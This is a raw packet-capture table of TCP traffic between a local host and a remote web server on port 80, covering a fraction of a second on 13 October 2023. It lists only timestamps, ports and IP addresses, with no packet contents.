Oct 13, 2023 16:06:21.082305908 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.082343102 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.082556963 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.082607031 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.082614899 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.082658052 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.082667112 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.082768917 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.082806110 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.082983017 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.083048105 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.083102942 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.083235979 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.083311081 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.083364010 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.083405018 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.083895922 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.083946943 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.084001064 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.084021091 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.084081888 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.084108114 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.084192038 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.084230900 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.084346056 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.084394932 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.084433079 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.084445953 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.084522009 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.084562063 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.084602118 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.084620953 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.084664106 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.084702015 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.084779024 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.084815979 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.084851980 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.084878922 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.085009098 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.085071087 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.085115910 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.085195065 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.085308075 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.085362911 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.085582972 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.085624933 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.085625887 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.085714102 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.085751057 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.086009026 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.086226940 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.086276054 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.086302042 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.086365938 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.086404085 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.086525917 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.086580038 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.086618900 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.086654902 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.086843967 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.086885929 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.087208033 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.087268114 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.087307930 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.087316990 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.087575912 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.087621927 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.087647915 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.087738037 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.088218927 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.088259935 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.088296890 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.088572979 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.088618040 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.088637114 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.088674068 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.088700056 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.088809967 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.088865042 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.088881969 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.088948965 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.088987112 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.089057922 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.089371920 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.089479923 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.089524031 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.089776039 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.089859962 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.089905024 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.089931011 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.090075016 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.090114117 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.090179920 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.090218067 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.090255022 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.090353966 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.090393066 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.090905905 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.090991974 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.091073990 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.091185093 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.091227055 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.091250896 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.091342926 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.091384888 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.091444969 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.091485023 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.091521978 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.091614962 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.091660023 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.091670990 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.091751099 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.091789961 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.091861963 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.091939926 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.091996908 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.092034101 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.092128038 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.092629910 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.092691898 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.092719078 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.092782021 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.092797041 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.093050003 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.093108892 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.093141079 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.093157053 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.093238115 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.093251944 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.093277931 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.093480110 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.093519926 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.093600035 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.093647957 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.093713999 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.093756914 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.094060898 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.094125032 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.094485998 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.094961882 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.095000982 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.095026970 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.095150948 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.095194101 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.095696926 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.095803022 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.095868111 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.095911980 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.095995903 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.096031904 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.096040964 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.096138000 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.096195936 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.096232891 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.096271038 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.096404076 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.096441984 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.096506119 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.096652031 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.096852064 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.096970081 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.097007990 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.097043037 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.097125053 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.097174883 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.097212076 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.097296953 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.097336054 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.097405910 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.097496986 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.097588062 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.097637892 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.097723007 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.097779989 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.097819090 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.097856045 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.097893000 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.097909927 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.097975969 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.098099947 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.098164082 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.098220110 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.098290920 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.098335981 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.098386049 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.098501921 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.098541021 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.098560095 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.098653078 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.098661900 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.098747969 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.098788023 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.098803043 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.098875999 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.098933935 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.098952055 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.098994970 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.099546909 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.099556923 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.099572897 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.099646091 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.099821091 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.099860907 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.099915981 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.099998951 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.100039959 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.100111008 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.100148916 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.100174904 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.100224972 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.100265026 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.100322962 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.100397110 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.100435972 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.100438118 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.100547075 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.100586891 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.100605965 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.100680113 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.100769997 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.100811005 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.100825071 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.100892067 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.100930929 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.100967884 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.101006031 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.101016045 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.101090908 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.101131916 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.101135969 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.101305008 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.101360083 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.101418018 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.101478100 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.101528883 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.101571083 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.101624966 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.101699114 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.101743937 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.101763010 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.101840019 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.101886034 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.101903915 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.101941109 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.101967096 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.102133036 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.102183104 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.102194071 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.102296114 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.102343082 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.102354050 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.102436066 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.102478981 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.102504015 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.102587938 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.102658033 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.102715015 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.102777004 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.102818966 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.102874994 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.102888107 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.102927923 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.102963924 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.103059053 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.103106976 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.103116035 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.103188038 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.103226900 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.103250980 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.103410006 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.103447914 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.103462934 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.103487015 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.103584051 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.103676081 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.103715897 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.103754044 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.103840113 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.103883982 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.103920937 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.103956938 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.104012966 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.104068995 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.104135036 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.104161024 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.104238987 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.104288101 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.104325056 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.104399920 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.104473114 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.104516029 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.104589939 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.104679108 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.104716063 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.104742050 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.104779959 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.104851961 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.104944944 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.104995012 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.105027914 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.105118036 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.105174065 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.105185986 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.105288982 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.105381012 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.105421066 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.105505943 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.105559111 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.105592012 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.105632067 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.105669022 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.105686903 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.105802059 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.105848074 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.105904102 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.105951071 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.105989933 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.106024981 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.106159925 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.106224060 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.106262922 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.106333017 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.106420040 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.106461048 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.106483936 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.106554031 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.106595039 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.106621027 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.106659889 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.106744051 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.106856108 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.106899977 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.106925011 CEST	80	49762	91.215.85.17	192.168.2.4
